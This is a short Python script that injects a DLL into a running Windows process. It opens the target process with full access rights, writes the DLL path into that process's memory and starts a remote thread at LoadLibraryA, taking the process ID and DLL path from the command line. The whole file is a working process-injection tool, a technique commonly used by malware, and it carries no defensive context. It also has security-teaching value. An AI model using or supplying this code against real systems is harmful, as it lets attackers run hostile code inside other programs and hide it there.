import sys
from ctypes import *
PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]

dll_len = len(dll_path)
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )
if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM,PAGE_READWRITE)
# Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len,byref(written))

# We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
# try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to the DLL path as its single parameter
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process,None,0,h_loadlib,arg_address,0,byref(thread_id)):
    print "[*] Failed to inject the DLL. Exiting."
    sys.exit(0)

print "[*] Remote thread with ID 0x%08x created." % thread_id.value


